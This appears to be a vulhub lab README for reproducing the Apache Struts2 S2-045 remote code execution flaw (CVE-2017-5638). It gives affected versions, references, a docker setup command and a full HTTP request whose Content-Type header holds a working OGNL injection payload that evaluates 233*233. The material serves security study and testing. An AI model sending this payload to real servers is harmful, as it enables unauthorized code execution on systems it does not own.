Aaron
63285f61aa
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43 lines
1.1 KiB
Markdown
43 lines
1.1 KiB
Markdown
# S2-045 Remote Code Execution Vulnerablity（CVE-2017-5638）
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[中文版本(Chinese version)](README.zh-cn.md)
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Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
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References:
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- http://struts.apache.org/docs/s2-045.html
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- https://nsfocusglobal.com/apache-struts2-remote-code-execution-vulnerability-s2-045/
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## Setup
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Execute the following command to start the Struts2 2.3.30：
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```
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docker compose up -d
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```
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After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
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## Exploitation
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Verify the vulnerability by following request:
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```
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POST / HTTP/1.1
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Host: localhost:8080
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.8,es;q=0.6
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Connection: close
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Content-Length: 0
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Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
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```
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`233*233` has been successfully executed:
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